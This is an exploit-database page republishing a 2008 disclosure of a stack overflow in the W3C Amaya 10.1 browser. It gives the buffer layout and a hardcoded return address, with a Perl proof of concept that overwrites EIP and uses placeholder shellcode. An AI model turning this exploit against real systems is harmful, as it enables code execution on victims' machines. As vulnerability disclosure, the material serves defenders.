Amaya (id) Remote Stack Overflow Vulnerability

2008-11-24 / 2008-11-25
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

# W3C Amaya 10.1 Web Browser # # Amaya (id) Remote Stack Overflow Vulnerability # # Written and discovered by: # r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au) # # Advisory: http://www.bmgsec.com.au/advisory/41/ # ------------------------------------------------------ # # Shellcode notes: # The application fails to correctly process certain bytes: # 0x9c becomes 0x9cc2 # Similar events occur with different bytes (0xf8, 0xfb, 0xbe, 0x93, 0xab, 0xaf 0xeb). # # After reviewing the source code, the below function modifies the # shellcode: # Line 902: int TtaWCToMBstring (wchar_t src, unsigned char **dest) # # The max value which can be used is 0x1fffff <-- Thanks Luigi! # ------------------------------------------------------ # # The "id" variable of a tag contains a buffer overflow: # <div id=" 93*'A/' ">r0ut3r</div> # # The application will not overflow with normal alphanumeric characters. # To fill the buffer I had to use "A/" repeated 91 times. Therefore buffer length is: # 91 * 2 = 182 + 4 # # [junk] + [eip] + [shellcode] # 182 + 4 + sizeof(shellcode) # # ESP points to data after EIP. # # "id" variable Proof of concept: #!/usr/bin/perl use warnings; use strict; my $shellcode = 'C' x 350; # 0x7D035F53 -> \x53\x5f\x03\x7d <-- Bingo! (call esp) my $data = '<div id="' . 'A/' x 91 . "\x53\x5f\x03\x7d" . # eip (ESP points to stuff after RET, so shellcode) $shellcode . '">test</div>'; print $data;

References:

http://seclists.org/bugtraq/2008/Nov/0180.html


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top